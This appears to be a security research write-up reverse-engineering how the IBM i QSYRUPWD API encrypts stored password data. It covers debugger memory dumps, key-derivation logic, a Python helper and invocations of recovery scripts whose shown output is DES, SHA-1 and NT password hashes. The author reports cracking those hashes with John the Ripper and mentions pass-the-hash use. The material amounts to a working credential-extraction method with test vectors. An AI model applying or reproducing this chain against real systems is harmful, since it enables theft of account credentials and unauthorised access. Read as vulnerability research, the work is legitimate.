The CIPHER input structure referenced by R5 contains the current user’s identifier and the hash material needed for the operation. Concretely, it includes the username in EBCDIC (padded with 0x40), a block holding the NT hash value (present twice, preceded by a small prefix), and an embedded 20-byte SHA-1 intermediate result from an earlier CIPHER phase (1st QZLSRTPW CIPHER).
Several observations suggested that the Rijndael key was derived from the current user’s DES password value and username, where a DES password value was available. Because DES-based password material is not available in every case, especially for longer passwords, my first approach was to collect and compare data from multiple users with different password characteristics. These were my samples::
USERNAME:PLAIN-PASSWORD -> DES(PLAIN-PASSWORD,USERNAME)
A:a -> 0F7DE80335E8ED68
CDE:cde -> C9ECF98EFC0AFB69
EFGH:efgh -> 3F265A7A9A1C0830
B1#@:b1#@ -> E195D358F3028784
LIMIT:limit -> 8EB517E0A04C841F
USERB1:userb1 -> 7585F62F8845A794
PARTIAL:partial -> 743AE610110FF3B8
ABCDEF12:abcdef12 -> 96F733915D3A3456
TMPPANCZZ:31wG6IKr4!wE -> 4040404040404040
TMPPANCZZ:A -> BE21BA0E06A9E3E6
For A:
EA80 00000000 00030F35 40404040 40404040
EA90 40404040 40404040 4044687D C1E8E8ED
For CDE:
EA80 00000000 000A4040 40404040 40404040
EA90 40404040 4044698E C3C4C5C9 ECF9FBFC
For EFGH:
EA80 00000000 00081C26 303F4040 40404040 \* .......... \*
EA90 40404040 40404040 445A7A9A C5C6C7C8 \* à!:ªEFGH \*
For USERB1:
EA80 00000000 002F4040 40404040 40404040 \* ...... \*
EA90 40404445 75858894 A7C2C5D9 E2E4F1F6 \* àáÍehmxBERSU16 \*
For USERB2:
EA80 00000000 00304040 40404040 40404040 \* ...... \*
EA90 4040444E 59748BA2 B3C2C5C7 D9E2E4F2 \* à+ßÈ»s·BEGRSU2 \*
For TMPPANCZZ:
EA80 00000000 00404040 40404040 40404040 \* ..... \*
EA90 40404040 404044C1 C3D4D5D7 D7E3E9E9 \* àACMNPPTZZ \*
For LIMIT:
EA80 00000000 00171F40 40404040 40404040 \* ....... \*
EA90 40404040 444C848E A0B5C9C9 D3D4E0E3 \* à<dþµ§IILM\T \*
For PARTIAL:
EA80 00000000 000F1011 3A404040 40404040 \* ......... \*
EA90 40404040 4474B8C1 C1C9D3D7 D9E3E6F3 \* àȽAAILPRTW3 \*
For ABCDEF12:
EA80 00000000 0033343A 40404040 40404040 \* ........ \*
EA90 40404456 5D9196C1 C2C3C4C5 C6F1F2F7 \* àî)joABCDEF127 \*
For B1#@:
EA80 00000000 00024040 40404040 40404040 \* ...... \*
EA90 40404040 44587B7C 848795C2 D3E1F1F3 \* àì#@dgnBL÷13 \*
For TMPPANCZZ with password "A":
EA80 00000000 00060E21 40404040 40404040 \* ........ \*
EA90 4044A9BA BEC1C3D4 D5D7D7E3 E3E6E9E9 \* àz[´ACMNPPTTWZZ \*
If QPWDLVL = 2 and the password is longer than 8 characters, the DES-derived
part disappears and is replaced with 0x40 bytes, while the username-derived
part remains. This was an important clue that the transformation mixes two inputs:
the username and, when available, the legacy 8-byte DES password value.
After collecting multiple samples across different users and passwords and correlating
the DES-derived values with the in-memory buffers, I was able to infer the transformation
used to build the 32-byte structure. The two inputs are:
cp037), padded with 0x40des8, the 8-byte legacy DES password value, when such a value existsIn other words, des8 is not an arbitrary 8-byte field: it is the DES-derived password value
associated with the user. If that DES value is unavailable, for example because the password
no longer fits the legacy DES scheme, the DES-derived portion of the structure is replaced
with 0x40 bytes and only the username-derived component remains visible. Here is the algorithm:
Input:
username_ebcdic = username in EBCDIC (cp037), padded with 0x40
des8 = 8-byte legacy DES password value, if available
1) Trim the username
U = rstrip(username_ebcdic, 0x40)
Remove trailing EBCDIC space bytes from the username.
2) Partition the DES bytes and sort both groups
L = sort_bytes({ b in des8 | b < 0x40 })
H = sort_bytes({ b in des8 | b >= 0x40 })
The 8 bytes of des8 are divided into two groups using 0x40 as the threshold.
Bytes below 0x40 form L, and bytes greater than or equal to 0x40 form H.
Both groups are then sorted in ascending byte order.
3) Build the 16-byte head
if len(L) > 11: L = L[0:11]
head = 0x00 * 5 || L || pad_right(0x40, until_len = 11)
The head is always 16 bytes long:
- 5 zero bytes
- followed by up to 11 sorted low DES bytes
- padded on the right with 0x40 if needed
4) Build the tail payload
P = sort_bytes(U || H)
Concatenate the trimmed username bytes with the sorted high DES bytes,
then sort the combined byte sequence in ascending byte order.
5) Build the 16-byte tail
tail_raw = 0x44 || P
tail = pad_left(0x40, tail_raw, to_len = 16)
if len(tail_raw) > 16: keep only the rightmost 16 bytes
The tail is always 16 bytes long.
It consists of a fixed marker byte 0x44 followed by the sorted payload,
then normalized to 16 bytes.
Output:
struct = head || tail
The result is a deterministic 32-byte structure. Its first half preserves only the low (< 0x40) bytes of the legacy DES password value, while the second half is derived from the sorted combination of the trimmed username bytes and the high (>= 0x40) DES bytes. When the legacy DES password value is unavailable, the DES-derived part disappears and only the username-derived component remains.
I wrote a simple Python script to validate this inferred transformation. In the script below, des8 refers to the 8-byte legacy DES password value:
def build_struct_ebcdic(username_ebcdic: bytes, des8: bytes) -> bytes:
if len(des8) != 8:
raise ValueError("des8 must be exactly 8 bytes")
# Trim username padding (EBCDIC space 0x40)
U = username_ebcdic.rstrip(b"\x40")
# Split DES bytes into low/high
low = bytes(sorted(b for b in des8 if b < 0x40))
high = bytes(sorted(b for b in des8 if b >= 0x40))
# 16-byte head: 0x00 * 5 + low (<=11) + 0x40 padding to 11
if len(low) > 11:
low = low[:11]
head = (b"\x00" \* 5) + low + (b"\x40" \* (11 - len(low)))
# Tail payload: sorted(username_trimmed + high_des_bytes)
payload = bytes(sorted(U + high))
# 16-byte tail: leftpad16( 0x44 + payload )
# (keeps last 16 bytes if it would overflow)
tail_data = b"\x44" + payload
if len(tail_data) >= 16:
tail = tail_data[-16:]
else:
tail = (b"\x40" * (16 - len(tail_data))) + tail_data
return head + tail
Continuing the debugging rounds the next target was the 1st SVC 10 function:
0523F73E36 004354 002C84 3940015A ADDI 10,0,346
0523F73E36 004358 002C88 44000141 SCV 10 // CIPHER (1)
0523F73E36 00435C 002C8C E8410020 LD 2,0X20(1)
At the breakpoint, the relevant general purpose registers contained the following addresses:
GPR 3 CA0B861826 00DCA0
GPR 4 CA0B861826 00D810
GPR 5 CA0B861826 00DC90
GPR 3 (receiver/output): In the memory area pointed by R3, the following pointer can be found:
DCA0 80000000 00000000 CA0B8618 2600D3BC
GPR 4 (CIPHER struct): In the memory area pointed by R4:
D810 00050100 000007B4 00000000 00000000
D820 80000000 00000000 CA0B8618 2600D7B0
D830 00000000 00000000 00000000 00000000
D840 00000000 00000000 00000000 00000000
D850 00000000 00000000 00000000 00000000
D860 00000000 00000000 00000000 00000000
D870 00160000 00000000 00000000 00000000
D880 00000000 00000000 00000000 00000000
D890 00000000 00000000 00000000 00000000
D8A0 00000000 00000000 00000000 00000000
D8B0 00000000 00000000 00000000 00000000
D8C0 00000000 00000000 00000000 00000000
According to the CIPHER documentation, it does this:
Offset 0x00–0x01 (Function identifier): 0x0005 (one-way hash / HMAC)
Offset 0x02 (Hash algorithm): 0x01 (SHA-1)
Offset 0x03 (Sequence): 0x00 (Only)
Offset 0x04–0x07 (Data length, UBin(4)): 0x000007B4 (1972 bytes)
Offset 0x08 (Output): 0x00 (Hash, not HMAC)
Offset 0x09–0x0F (Reserved/ignored, 7 bytes): 00000000000000
Offset 0x10–0x1F (Hash context, space pointer, 16 bytes): 8000000000000000CA0B86182600D7B0
Offset 0x20–0x2F (HMAC key, space pointer, 16 bytes): 00000000000000000000000000000000 (NULL)
Offset 0x30–0x33 (HMAC key length, UBin(4)): 0x00000000
Offset 0x34–0x5F (Reserved/ignored padding until the end of the 96-byte control area): 00000000000000000000000000000000000000000000000000000000000000000000000000000000
GPR 5 (CIPHER input): In the memory area pointed by R5, the following pointer can be found:
DC90 80000000 00000000 CA0B8618 2600CC08
In the memory area referred by the pointer above, the following data is stored:
CC00 00000000 000007D0 E4E2C5D9 C2F14040 // 0x7D0 fixed value and EBCDIC username padded with 0x40 to length 10
CC10 40404475 85F62F88 45A79440 40404040 // Fixed value 0x44, then the password is encrypted with DES (7585F62F8845A794)
CC20 40404000 00000000 00000000 00000000
CC30 00000000 05B89E7B 4BD4159A 06900908 // 0x5 prefix and the SHA-1 value of the password
CC40 F57CA0DB 0D19E840 48000000 00000000
CC50 00000000 00000000 00000000 000240F0 // fixed value 0x000240F0
CC60 124C5A7D B02D8ACF 63F74AA2 08CB5195 // result of the 3rd QZLSRTPW CIPHER (Rijndael)
CC70 7A7086AD D7756695 C2E347A9 CBD0F685
CC80 F70B30C8 6C0BE8ED BA81D961 AD6F9407
CC90 B8A515EB 5E2E3B47 2E5DFE8B 84C1CBD3
CCA0 38791BC9 74C0DD90 D5E505F4 E5124DB1
CCB0 D1509155 77E448A1 0A86F1E5 A8D35333
CCC0 17313763 B4C60EC1 C4E26FA3 2266195B
CCD0 7CAA42D8 9F384D90 69636BB3 069B3398
CCE0 B01F949E 6942108D 3BE55081 A7AA61BC
CCF0 F15B8094 C4372A8B 24668CC6 B96DEEE1
CD00 D167EE15 9904700A 6BF4726C F2DCC549
CD10 85BBB0F4 89ECB619 3B4841CE 617D93A6 // end of the 3rd QZLSRTPW CIPHER (Rijndael)
CD20 04CAA355 1ADF81C7 98A729A2 BDA638F3 // Some user profile data, generated by the SCV in the QSYRUPWD:
CD30 19AC0081 D172B1DC 0629F015 4E13B185 // 523F73E36 003B00 002430 39400012 ADDI 10,0,18
CD40 0F93A99F 6257EA4F 2894B8C4 DBA0E938 // 523F73E36 003B04 002434 44000141 SCV 10
CD50 D099D6E4 1DC20CEF F8FB74D7 33BF62A6
CD60 00000000 00000000 00000000 00000000 // the rest is NULL
This CIPHER input buffer is a composite structure that includes the user context and several password-related cryptographic values. It starts with a fixed header and the username in EBCDIC (padded with 0x40), followed by a fixed marker (0x44) and the user’s DES password value. Next, it contains a SHA-1 password value with its own prefix (0x5), a fixed marker (0x000240F0), and then a large Rijndael ciphertext block from a previous QZLSRTPW CIPHER phase (including its updated chaining value). The structure also includes additional user profile related data produced by a SCV 10 call, and the remaining space is padded with null bytes. According to the CIPHER control structure, this operation is a plain SHA-1 hash, not an HMAC: the function identifier is 0x0005, the hash algorithm is 0x01 (SHA-1), the output mode is set to hash, the HMAC key pointer is NULL, and the HMAC key length is zero. The hashed input is the 1972-byte buffer referenced through R5, i.e. the composite QSYRUPWD input structure shown above. The resulting 20-byte SHA-1 digest is:
4822BDC0C3F143547BE52989CA747F8253B97367
Continuing the debugging cycles, the next target was the 2nd SVC 10 function:
0523F73E36 004524 002E54 3940015A ADDI 10,0,346
0523F73E36 004528 002E58 44000141 SCV 10 // CIPHER (2)
0523F73E36 00452C 002E5C E8410020 LD 2,0X20(1)
At the breakpoint, the relevant general purpose registers contained the following addresses:
GPR 3 CA0B861826 00DC20
GPR 4 CA0B861826 00D870
GPR 5 CA0B861826 00DC00
GPR 3 (CIPHER receiver/output): In the memory area referred by R3, the following pointer can be found:
DC20 80000000 00000000 CA0B8618 2600DD20
GPR 4 (CIPHER struct): In the memory area pointed by R4:
D870 00160010 00001000 00000000 00000000
D880 00000000 00000000 00000000 00000000
D890 00000000 00000000 00000000 00000010
D8A0 00000000 00000000 00000000 00000000
D8B0 4822BDC0 F143547B 2989CA74 8253B973 // D[1..4] || D[6..9] || D[11..14] || D[16..19]
D8C0 00000000 00000000 00000000 00000000
According to the CIPHER documentation, it does this:
Offset 0x00–0x01 (Function identifier): 0x0016 (Rijndael) (Undocumented)
Offset 0x02–0x03 (Data length): 0x0010 (16 bytes)
Offset 0x04 (Operation): 0x00 (Encrypt)
Offset 0x05 (Mode): 0x00 (ECB)
Offset 0x06 (Block length): 0x10 (16 bytes)
Offset 0x07 (MAC length): 0x00 (ignored for Encrypt/Decrypt)
Offset 0x08–0x27 (IV, 32 bytes): 0000000000000000000000000000000000000000000000000000000000000000
Offset 0x28–0x2E (Reserved, 7 bytes): 00000000000000
Offset 0x2F (Key option): 0x10 (Use 16-byte key)
Offset 0x30–0x3F (Key schedule pointer, 16 bytes space pointer): 00000000000000000000000000000000 (NULL)
Offset 0x40–0x5F (Key, 32 bytes, left-justified): 4822BDC0F143547B2989CA748253B97300000000000000000000000000000000
This step describes the transformation of the first CIPHER output returned by
QSYRUPWD. Using the current test vector, the 20-byte (40 hex characters) result
4822BDC0C3F143547BE52989CA747F8253B97367 is not used as one continuous block,
but it is rearranged by taking four separate 4-byte slices from specific
offsets. In other words, we build a new 16-byte value by concatenating D[1..4], D[6..9],
D[11..14], and D[16..19] in this order, meaning we keep bytes 1–4, then skip
byte 5, keep bytes 6–9, skip byte 10, keep bytes 11–14, skip byte 15, and
finally keep bytes 16–19.
GPR 5 (CIPHER input): In the memory area pointed by R5, the following pointer can be found:
DC00 80000000 00000000 CA0B8618 2600CC13
In the memory area referred by the pointer above, the following data is stored:
CC10 40404475 85F62F88 45A79440 40404040 // Fixed value 0x44, then the password is encrypted with DES (7585F62F8845A794)
The QSYRUPWD API output contains the result of the first CIPHER function within QSYRUPWD.
This is important because, at this stage, the process is already chained:
the output of the first QSYRUPWD CIPHER function is used to derive the key needed for
the second QSYRUPWD CIPHER function.
Continuing the debugging rounds the next target was the 2nd SVC 10 function:
0523F73E36 004640 002F70 3940015A ADDI 10,0,346
0523F73E36 004644 002F74 44000141 SCV 10 // CIPHER (3)
0523F73E36 004648 002F78 E8410020 LD 2,0X20(1)
At the breakpoint, the relevant general purpose registers stored the following addresses:
GPR 3 CA0B861826 00DC20
GPR 4 CA0B861826 00D870
GPR 5 CA0B861826 00DC00
GPR 3 (CIPHER receiver/output): In the memory area pointed by R3, the following pointer can be found:
DC20 80000000 00000000 CA0B8618 2600DC10
GPR 4 (CIPHER struct): In the memory area pointed by R4:
D870 00160010 00001000 00000000 00000000
D880 00000000 00000000 00000000 00000000
D890 00000000 00000000 00000000 00000010
D8A0 00000000 00000000 00000000 00000000
D8B0 53B97367 89CA747F 43547BE5 22BDC0C3 // D[16..19] || D[11..14] || D[6..9] || D[1..4]
D8C0 00000000 00000000 00000000 00000000
According to the CIPHER documentation, it does this:
Offset 0x00–0x01 (Function identifier): 0x0016 (Rijndael) (Undocumented)
Offset 0x02–0x03 (Data length): 0x0010 (16 bytes)
Offset 0x04 (Operation): 0x00 (Encrypt)
Offset 0x05 (Mode): 0x00 (ECB)
Offset 0x06 (Block length): 0x10 (16 bytes)
Offset 0x07 (MAC length): 0x00 (ignored for Encrypt/Decrypt)
Offset 0x08–0x27 (IV, 32 bytes): 000000000000 (32 bytes) ... = all zero
Offset 0x28–0x2E (Reserved, 7 bytes): all zero
Offset 0x2F (Key option): 0x10 (Use 16-byte key)
Offset 0x30–0x3F (Key schedule pointer, 16 bytes space pointer): NULL (all zero)
Offset 0x40–0x5F (Key, 32 bytes, left-justified): 53B9736789CA747F43547BE522BDC0C3 + 00000000000000000000000000000000
This variant is the same slice-based reordering described earlier, but applied
in reverse order; the input is the output of the QSYRUPWD first CIPHER.
This implementation concatenates the same four 4-byte blocks starting from the
end:
D[16..19] || D[11..14] || D[6..9] || D[1..4]
The bytes are unchanged; only the block order is inverted. This reordered 16-byte value is used as the crypto key material for this CIPHER operation.
GPR 5 (CIPHER input): In the memory area pointed by R5, the following pointer can be found:
DC00 80000000 00000000 CA0B8618 2600CC37
In the memory area referred by the pointer above, the following data is stored:
CC30 00000000 05B89E7B 4BD4159A 06900908 \* .....½Æ#.M.ª.°.. \*
CC40 F57CA0DB 0D19E840 48000000 00000000 \* 5@µû..Y ç....... \*
Based on the memory pointers and the data length field in the CIPHER structure, the input buffer can be identified as the middle portion of the SHA-1 hash of the user’s password.
With the current test data(USERB1:userb1), the input bytes of the CIPHER are (see CIPHER input above):
B89E 7B4BD4159A06900908F57CA0DB0D19E8 4048
The resulting output of the CIPHER operation for this test case is:
ACA7145D3C3277397B3BE11B8AE2CCBB
This output matches the middle segment of the larger value:
B89E ACA7145D3C3277397B3BE11B8AE2CCBB 4048
which is also present in the QSYRUPWD API output.
This match confirms that the CIPHER step is producing the exact inner block
that appears embedded in the final QSYRUPWD output.
In my tests, this CIPHER is not called:
0523F73E36 004728 003058 3940015A ADDI 10,0,346
0523F73E36 00472C 00305C 44000141 SCV 10 // CIPHER (4)
0523F73E36 004730 003060 E8410020 LD 2,0X20(1)
Continuing the debugging rounds the next target was the 5th SVC 10 function:
0523F73E36 004934 003264 3940015A ADDI 10,0,346
0523F73E36 004938 003268 44000141 SCV 10 // CIPHER (5)
0523F73E36 00493C 00326C E8410020 LD 2,0X20(1)
At the breakpoint, the relevant general purpose registers contained the following addresses:
GPR 3 CA0B861826 00DC20
GPR 4 CA0B861826 00D870
GPR 5 CA0B861826 00DC00
GPR 3 (CIPHER receiver/output): In the memory area pointed by R3, the following pointer can be found:
DC20 80000000 00000000 CA0B8618 2600DA30
GPR 4 (CIPHER struct): In the memory area pointed by R4:
D870 00160040 00001000 00000000 00000000
D880 00000000 00000000 00000000 00000000
D890 00000000 00000000 00000000 00000010
D8A0 00000000 00000000 00000000 00000000
D8B0 53B97367 4822BDC0 89CA747F F143547B // D[17..20] || D[1..4] || D[12..15] || D[6..9]
D8C0 00000000 00000000 00000000 00000000
According to the CIPHER documentation, it does this:
Offset 0x00–0x01 (Function identifier): 0x0016 (Rijndael) (Undocumented)
Offset 0x02–0x03 (Data length): 0x0040 (64 bytes)
Offset 0x04 (Operation): 0x00 (Encrypt)
Offset 0x05 (Mode): 0x00 (ECB)
Offset 0x06 (Block length): 0x10 (16 bytes)
Offset 0x07 (MAC length): 0x00 (ignored for Encrypt/Decrypt)
Offset 0x08–0x27 (IV, 32 bytes): all zero
Offset 0x28–0x2E (Reserved, 7 bytes): all zero
Offset 0x2F (Key option): 0x10 (Use 16-byte key)
Offset 0x30–0x3F (Key schedule pointer, 16 bytes space pointer): 00000000000000000000000000000000 (NULL)
Offset 0x40–0x5F (Key, 32 bytes, left-justified): 53B973674822BDC089CA747FF143547B00000000000000000000000000000000
This variant uses the same slice-based reordering described earlier; the input
is the output of the QSYRUPWD first CIPHER.
This implementation concatenates the same four 4-byte blocks in reverse order:
D[17..20] || D[12..15] || D[6..9] || D[1..4]
The bytes are unchanged; only the block order is reversed. This reordered 16-byte value is then used as the crypto key material for the next CIPHER operation.
GPR 5 (CIPHER input): In the memory area pointed by R5, the following pointer can be found:
DC00 80000000 00000000 CA0B8618 2600CD20
In the memory area referred by the pointer above, the following data is stored:
CD20 04CAA355 1ADF81C7 98A729A2 BDA638F3 // part of the QSYRUPWD 1st CIPHER input
CD30 19AC0081 D172B1DC 0629F015 4E13B185 // Some user profile data, generated by the following SCV in the QSYRUPWD:
CD40 0F93A99F 6257EA4F 2894B8C4 DBA0E938 // 523F73E36 003B00 002430 39400012 ADDI 10,0,18
CD50 D099D6E4 1DC20CEF F8FB74D7 33BF62A6 // 523F73E36 003B04 002434 44000141 SCV 10
CD60 00000000 00000000 00000000 00000000
Calculated result of the CIPHER:
1BEB86A9 D9EE34C1 B4693042 E7FB2A24
608C5A61 A9DA9789 1DE288EF 078CBB07
98ECADAF C988A95F 52A22DE3 07B99274
5236CE92 49D0E60E 3C71C99C C0688F6A
The QSYRUPWD API output contains both the CIPHER result and the crypto key base
value (before the transformation).
All things considered, the QSYRUPWD API output structure is as follows, based
on the CIPHER functions:
000007D0:size1 returned bytes length
000007D0:size2
E4E2C5D9C2F140404040: Username in EBCDIC, padded to 10 bytes with 0x40.
44:fixed value
8C659794FE63A3F5C16853ACFCB77E7F: Result of the QSYRUPWD 2nd CIPHER
00000000000000000000000000000000000:Zero_1
5:fixed value
B89EACA7145D3C3277397B3BE11B8AE2CCBB4048: Result of the QSYRUPWD 3rd CIPHER
0000000000000000000000000000000000000000:Zero_2
0240F0:fixed value (0x02 if QPWDLVL = 2, 0x04 if QPWDLVL = 4)
124C5A7DB02D8ACF63F74AA208CB51957A7086ADD7756695C2E347A9CBD0F685F70B30C86C0BE8EDBA81D961AD6F9407B8A515EB5E2E3B472E5DFE8B84C1CBD338791BC974C0DD90D5E505F4E5124DB1D150915577E448A10A86F1E5A8D3533317313763B4C60EC1C4E26FA32266195B7CAA42D89F384D9069636BB3069B3398B01F949E6942108D3BE55081A7AA61BCF15B8094C4372A8B24668CC6B96DEEE1: Result of the QZLSRTPW 3rd CIPHER
D167EE159904700A6BF4726CF2DCC54985BBB0F489ECB6193B4841CE617D93A6: Updated chaining value of the QZLSRTPW 3rd CIPHER
1BEB86A9D9EE34C1B4693042E7FB2A24608C5A61A9DA97891DE288EF078CBB0798ECADAFC988A95F52A22DE307B992745236CE9249D0E60E3C71C99CC0688F6A: Result of the QSYRUPWD 5th CIPHER
[1628 zero bytes]:Zero_3
4822BDC0C3F143547BE52989CA747F8253B97367: Result of the QSYRUPWD 1st CIPHER
The QSYRUPWD API output (with QPWDLVL = 2) contains multiple CIPHER results and
enough embedded key material to decrypt them.
The general approach is to treat the returned buffer as a structured container,
extract the relevant encrypted fields, and then apply the same CIPHER chain in
the decryption direction, following the original dependency order.
Parse the QSYRUPWD output into fields
Treat the returned QSYRUPWD buffer as a structured container and extract the
fields identified during the reversing process: the two size fields, the
username in EBCDIC (padded to 10 bytes with 0x40), the result of the 2nd
QSYRUPWD CIPHER, Zero_1, the fixed marker 0x05, the result of the 3rd
QSYRUPWD CIPHER, Zero_2, the fixed marker 0x0240F0 (0x02 if QPWDLVL = 2,
0x04 if QPWDLVL = 4), the result of the QZLSRTPW 3rd CIPHER, the updated
chaining value of the QZLSRTPW 3rd CIPHER, the result of the QSYRUPWD 5th
CIPHER, the zero-filled padding area, and finally the 20-byte result of the
1st QSYRUPWD CIPHER. This parsing step is important because the later
decryption steps reuse these embedded values in the same dependency order in
which QSYRUPWD originally produced them.
Derive the AES-128 key material from the 1st QSYRUPWD CIPHER result
The 20-byte output of the 1st QSYRUPWD CIPHER
(4822BDC0C3F143547BE52989CA747F8253B97367 in the test vector) acts as the
crypto key base material for the later QSYRUPWD CIPHER stages. QSYRUPWD does
not use this value as one continuous block; instead, it derives 16-byte keys
by deterministic slice-based byte reordering. For the 2nd QSYRUPWD CIPHER,
the key is D[1..4] || D[6..9] || D[11..14] || D[16..19]. For the 3rd
QSYRUPWD CIPHER, the key is the reverse-order variant
D[16..19] || D[11..14] || D[6..9] || D[1..4]. For the 5th QSYRUPWD CIPHER,
the key material is rearranged again as
D[17..20] || D[1..4] || D[12..15] || D[6..9]. The bytes themselves are not
modified; only their positions are rearranged.
QSYRUPWD output has the form:
0x05 || encrypted_16_bytes || 2-byte suffix
The reversing results show that the 3rd QSYRUPWD CIPHER operation applies AES-128
in ECB mode to the middle 16-byte portion of that field, using the reversed 16-byte
key derived from the output of the 1st QSYRUPWD CIPHER. To recover the SHA-1 hash in a
format usable by John the Ripper, decrypt the 16-byte encrypted core with AES-128-ECB
using that derived key, then reconstruct the full 20-byte value as:
prefix || recovered_middle_16_bytes || suffix
In the test case, this yields a valid SHA-1 hash representation suitable for John the Ripper.
Decrypt the DES block
The DES-related field in the QSYRUPWD output is the 16-byte result of the 2nd
QSYRUPWD CIPHER. The reversing results show that this stage uses AES-128 in
ECB mode with the forward slice-derived 16-byte key built from the 1st
QSYRUPWD CIPHER output. Decrypting this 16-byte block yields the fixed 0x44
marker followed by the user’s DES-derived password value, padded with 0x40 as
needed. Removing the fixed marker and any trailing 0x40 padding yields the
effective DES value. The first 8 bytes of that recovered DES value are then
reused in the NT-related key derivation.
Decrypt the NT hash block
The NT ciphertext area is the result of the 5th QSYRUPWD CIPHER. The
reversing results show that this stage uses Rijndael-256 in CBC mode with a
32-byte key and a 32-byte IV. The required key material is derived from the
username and the recovered legacy 8-byte DES password value using the
inferred 32-byte structure described earlier in the document. After deriving
that structure, use it as the Rijndael-256 key/IV material required by the
final NT decryption step. The resulting plaintext contains a recognizable
internal layout, including a small static prefix and the 16-byte NT hash,
allowing reliable extraction of the NT value.
QSYRUPWD
output can be converted back into the password-related values embedded in it.
In practice, this means recovering the DES-derived value from the 2nd
QSYRUPWD CIPHER block, the SHA-1-related value from the 3rd QSYRUPWD CIPHER
block, and the NT hash from the 5th QSYRUPWD CIPHER block. These recovered
values can then be formatted for follow-on analysis, including password
cracking workflows and pass-the-hash style use cases where applicable.The command below is abbreviated for readability: the literal “…” represents the omitted zero-filled region, while the script requires the complete 2000-byte hexadecimal input:
python ibmi-passwords-level2.py 000007D0000007D0E4E2C5D9C2F140404040448C659794FE63A3F5C16853ACFCB77E7F000000000000000000000000000000000005B89EACA7145D3C3277397B3BE11B8AE2CCBB404800000000000000000000000000000000000000000240F0124C5A7DB02D8ACF63F74AA208CB51957A7086ADD7756695C2E347A9CBD0F685F70B30C86C0BE8EDBA81D961AD6F9407B8A515EB5E2E3B472E5DFE8B84C1CBD338791BC974C0DD90D5E505F4E5124DB1D150915577E448A10A86F1E5A8D3533317313763B4C60EC1C4E26FA32266195B7CAA42D89F384D9069636BB3069B3398B01F949E6942108D3BE55081A7AA61BCF15B8094C4372A8B24668CC6B96DEEE1D167EE159904700A6BF4726CF2DCC54985BBB0F489ECB6193B4841CE617D93A61BEB86A9D9EE34C1B4693042E7FB2A24608C5A61A9DA97891DE288EF078CBB0798ECADAFC988A95F52A22DE307B992745236CE9249D0E60E3C71C99CC0688F6A00...004822BDC0C3F143547BE52989CA747F8253B97367
USERB1:B89E7B4BD4159A06900908F57CA0DB0D19E84048:7585F62F8845A794:2D8C32FBB32A5E4385629E700A4F9496
I checked the hashes with John the Ripper using the NT, as400-des, and as400-ssha1 formats, and everything worked as expected.
The program can crack the password based on the recovered hashes.
An important implication of this result is that the decryption chain can be driven entirely from the QSYRUPWD API output itself.
In practice, the same parsing and dependency preserving reconstruction logic is not limited to QPWDLVL = 2:
as long as the required encrypted fields and chaining material are present in the returned buffer, the method remains applicable at higher password levels as well.
I also validated the recovery process on a system configured with QPWDLVL = 4:
000007D0:size1 returned bytes length
000007D0:size2
C4C5D4D6E4E2C5D94040: Username in EBCDIC, padded to 10 bytes with 0x40.
44:fixed value
40404040404040404040404040404040: QSYRUPWD 2nd CIPHER field, NULLed
000000000000000000000000000000:Zero_1 (15 bytes)
000005:fixed 3-byte marker
4040404040404040404040404040404040404040: QSYRUPWD 3rd CIPHER field, NULLed
00000000000000000000000000000000:Zero_2 (16 bytes)
000000000440F0:fixed 7-byte level marker for QPWDLVL = 4
9744316DE8A2F732520F770DB979CD4B6CABB5C92EEDB1B63257BDB7BC35D13B0B8802BC60B8A67FA7A000C1BB3A89E311CA3F48B55F53F23946769E718F5D3561DD95503A579BC9AD16D4318695A02F323725D7407E1E891536821B001744318D18787E26D7E1B770B27E44AEECA5E6BA45B0AA253D65FA7E4634F5F49BDCCE917CE675585A339942099947F44C9AA80741A3EF4C23286F03C113C2ADD6704B: Result of the QZLSRTPW 3rd CIPHER
85234D0DD8977341E1C2858F78FB0554C5D5DDE9B52447560C6DDEB0F08C99BF: Updated chaining value of the QZLSRTPW 3rd CIPHER
7EEDD7384635FB4029C8F9F9E13E011EA20EE04A4ACCE2261C5D1754CA7D4AAFA177D1896EDA587A31E1A945BC2A045543DBFAFBA6205B92732A2A59151DBB96: Result of the QSYRUPWD 5th CIPHER
[1628 zero bytes]:Zero_3
25A0AB04BF53ECF5B837ED4FF665189A9EC18229: Result of the QSYRUPWD 1st CIPHER
In this test case, the DES derived and SHA-1 based fields returned by QSYRUPWD were both filled with 0x40 bytes, and the level specific marker was 00 00 00 00 04 40 F0.
The embedded 192-byte output of the third QZLSRTPW CIPHER operation was still present.
Because no legacy DES derived value was available, the 32-byte Rijndael key was derived solely from the 10-byte EBCDIC username field: five 0x00 bytes, followed by 0x40 padding, the fixed 0x44 byte, and the sorted non-padding username bytes. For DEMOUSER, this produced the key 000000000040404040404040404040404040404040404044C4C5C5D4D6D9E2E4.
The CBC initialization vector was MD5(username_ebcdic_10) repeated twice, resulting in FFD5084C0F0878A4D4B22E9B71293C7FFD5084C0F0878A4D4B22E9B71293C7.
Decrypting the complete 192-byte block with Rijndael using a 256-bit block size and a 256-bit key recovered a plaintext containing two identical copies of the NT hash.
This demonstrates that, in the tested QPWDLVL = 4 configuration, the absence of the legacy DES- and SHA-1 derived fields does not prevent recovery of the NT password hash from the embedded QZLSRTPW data.
python ibmi-passwords-level4.py 000007D0000007D0C4C5D4D6E4E2C5D940404440404040404040404040404040404040000000000000000000000000000000000005404040404040404040404040404040404040404000000000000000000000000000000000000000000440F09744316DE8A2F732520F770DB979CD4B6CABB5C92EEDB1B63257BDB7BC35D13B0B8802BC60B8A67FA7A000C1BB3A89E311CA3F48B55F53F23946769E718F5D3561DD95503A579BC9AD16D4318695A02F323725D7407E1E891536821B001744318D18787E26D7E1B770B27E44AEECA5E6BA45B0AA253D65FA7E4634F5F49BDCCE917CE675585A339942099947F44C9AA80741A3EF4C23286F03C113C2ADD6704B85234D0DD8977341E1C2858F78FB0554C5D5DDE9B52447560C6DDEB0F08C99BF7EEDD7384635FB4029C8F9F9E13E011EA20EE04A4ACCE2261C5D1754CA7D4AAFA177D1896EDA587A31E1A945BC2A045543DBFAFBA6205B92732A2A59151DBB9600..0025A0AB04BF53ECF5B837ED4FF665189A9EC18229
The recovery script produced:
DEMOUSER:AA61E3443F91D4904F4700DF3856FE11
GPU-based password cracking can test enormous numbers of password candidates in parallel, making fast hash algorithms such as NTLM particularly vulnerable. A single RTX 4090 can process hundreds of billions of NTLM guesses per second under optimized conditions. Password hashing algorithms such as PBKDF2 reduce this advantage by applying many repeated computations to each guess. The effectiveness of a cracking attempt ultimately depends on the hash algorithm, iteration count, password complexity, and available GPU capacity.
These results came from a stock-clock RTX 4090 using Hashcat 6.2.6 with optimized kernels:
| GPU | Algorithm | Iterations | Measured speed | NT advantage |
